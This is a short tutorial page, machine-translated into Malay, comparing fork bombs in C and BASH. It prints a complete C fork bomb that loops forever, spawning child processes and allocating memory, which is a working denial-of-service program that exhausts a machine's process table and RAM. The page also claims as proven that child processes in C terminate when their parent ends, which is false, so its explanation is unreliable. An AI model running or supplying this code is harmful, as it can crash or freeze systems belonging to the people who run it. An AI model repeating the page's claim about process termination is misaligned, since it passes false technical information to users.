Rumah > pembangunan bahagian belakang > C++ > Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.

Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.

WBOY
Lepaskan: 2023-09-14 19:41:02
ke hadapan
1422 orang telah melayarinya

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

Telah terbukti bahawa bom garpu BASH jauh lebih berkuasa daripada rakan sejawatnya dalam program C. Sebab utama ialah proses yang dibuat dalam BASH dipisahkan daripada proses induk. Jika proses induk (yang kita mulakan pada asalnya) dimusnahkan atau ditamatkan, proses yang selebihnya akan terus wujud. Tetapi dalam kes pelaksanaan C, proses anak yang disenaraikan ditamatkan secara automatik jika proses induk dimusnahkan atau ditamatkan. Skrip bertanggungjawab untuk berkomunikasi secara langsung dengan sistem.

Program bom garpu bahasa C boleh dikemas kini atau diubah suai. Kita boleh memperuntukkan memori dalam program apabila mencipta proses garpu.

Program berikut dianggap sebagai pelaksanaan bom fork C yang diubah suai -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}
Salin selepas log masuk

Atas ialah kandungan terperinci Dalam C/C++, C vs BASH Fork bomb bermaksud bom fork bahasa C dan bahasa BASH.. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

sumber:tutorialspoint.com
Kenyataan Laman Web ini
Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn
Tutorial Popular
Lagi>
Muat turun terkini
Lagi>
kesan web
Kod sumber laman web
Bahan laman web
Templat hujung hadapan